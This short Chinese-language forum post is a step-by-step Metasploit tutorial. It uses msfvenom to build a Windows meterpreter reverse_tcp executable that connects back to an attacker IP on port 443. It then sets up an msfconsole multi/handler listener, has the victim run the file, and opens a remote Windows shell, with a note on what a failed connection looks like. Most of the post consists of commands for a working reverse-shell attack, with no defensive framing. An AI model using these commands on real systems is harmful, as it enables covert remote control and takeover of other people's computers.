在攻擊服務器上生成連接軟件,LHOST為攻擊機IP地址
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.52.133 LPORT=443 -f exe -o met.exe
打開msfconsole控制台
將軟件發給客戶機上運行,此時kali上會有連接提示
[mw_shl_code=applescript,true]root@qzwhost:~# msfconsole
msfconsole > use exploit/multi/handler
msfconsole (exploit/multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msfconsole (exploit/multi/handler) > set LHOST <IP>
msfconsole (exploit/multi/handler) > set LPORT 443
msfconsole (exploit/multi/handler) > exploit[/mw_shl_code]
此時連接建立成功,輸入shell測試
出現Windows命令行則說明攻擊成功
如果提醒如下,輸入shell顯示meterpreter > shell [-] Unknown command: shell.,說明鏈接未建立成功
meterpreter > shell
[-] Unknown command: shell.
